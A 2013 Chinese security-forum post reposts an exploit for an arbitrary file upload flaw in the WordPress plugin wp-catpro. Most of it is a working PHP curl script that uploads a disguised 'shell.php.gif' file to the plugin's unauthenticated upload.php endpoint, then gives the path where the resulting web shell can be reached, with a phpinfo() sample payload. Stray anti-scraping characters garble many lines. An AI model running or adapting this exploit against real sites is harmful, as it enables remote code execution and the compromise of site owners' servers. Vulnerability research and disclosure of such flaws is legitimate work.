找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2495|回复: 0
打印 上一主题 下一主题

WordPress插件wp-catpro任意文件上传

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-27 20:12:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Wordpress plugins - wp-catpro Arbitrary File Upload Vulnerability9 l+ ?# [: Y+ ]1 w4 r$ _( I
#-----------------------------------------------------------------------! H4 J. {' ~8 n- ?: X

2 }. x) |& X3 e! v作者  => Zikou-16) @/ [. T; a! a( a# }+ E( H& B& `
邮箱 => zikou16x@gmail.com/ D6 f$ u' t! _- l8 W# A
测试系统 : Windows 7 , Backtrack 5r36 O0 I* e; k- M  c4 u- [- k3 D
下载地址 : http://xmlswf.com/images/stories/WP_plugins/wp-catpro.zip
3 Q3 z0 x1 K* M& u####7 m5 b9 a; _1 A! o& C2 d

" ]/ c, n3 r; F8 \- ^  ]#=> Exploit 信息:
9 x6 k- E" v' A- S( C  F. e+ G; `. A------------------9 x4 ^% Y1 G! w* _$ f( t
# 攻击者可以上传 file/shell.php.gif: r+ \7 Q& Q' G. N
# ("jpg", "gif", "png")  // Allowed file extensions
4 a- M! I2 c2 J* Q! x& \: c' ?7 k# "/uploads/";  // The path were we will save the file (getcwd() may not be reliable and should be tested in your environment)3 F- p( F+ I* s1 G7 T' b
# '.A-Z0-9_ !@#$%^&()+={}\[\]\',~`-'; // Characters allowed in the file name (in a Regular Expression format)
  J! w4 s, N% n3 ~. j" l* t  y------------------
: j' I0 G/ S# L5 {! P9 u
& S- p% D/ W: R$ }#=> Exploit+ a* l5 m- T+ P  O0 ~" f- s3 H! B
-----------; x  o5 m& a( p( T8 p
<?php
( p0 c+ `1 \5 | * N, Z8 B- R" I! ^- c# {# K
$uploadfile="zik.php.gif";
: B; J1 h: _) J7 M% ?' R& X: L* F# Y$ch = curl_init("http://[ www.2cto.com ]/[path]/wp-content/plugins/wp-catpro/js/swfupload/js/upload.php");- |) G; d; O9 \) P
curl_setopt($ch, CURLOPT_POST, true);
$ `( S1 t& {* U  [! y- ocurl_setopt($ch, CURLOPT_POSTFIELDS,
) D2 `$ B" R$ T, X8 k* P+ [array('Filedata'=>"@$uploadfile",
8 w+ _5 l. E7 D$ H) P'folder'=>'/wp-content/uploads/catpro/'));
. j7 ?9 a5 Y. F8 D% e& v( f6 _1 K! f! Lcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
' J& x9 V$ O8 F* G$postResult = curl_exec($ch);
5 O) o* j& W. dcurl_close($ch);. t* C0 p" ]" `
6 n( Q$ ?4 ?5 ^9 O
print "$postResult";
4 o6 H( p1 J# G+ ]' r! r0 |# a6 \+ j 4 \0 u4 R$ f7 ]7 }& w+ Q
Shell Access : http://[ www.xxx.com ]/[path]/wp-content/uploads/catpro/random_name.php.gif
8 t3 ^5 K" V" e: U7 Z8 _4 c. a  ?>
! o) t) R% G* ]+ ]& T<?php9 P6 ?; M- S; ]+ I& x+ r
phpinfo();
% f" |' E. y% _6 q?>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表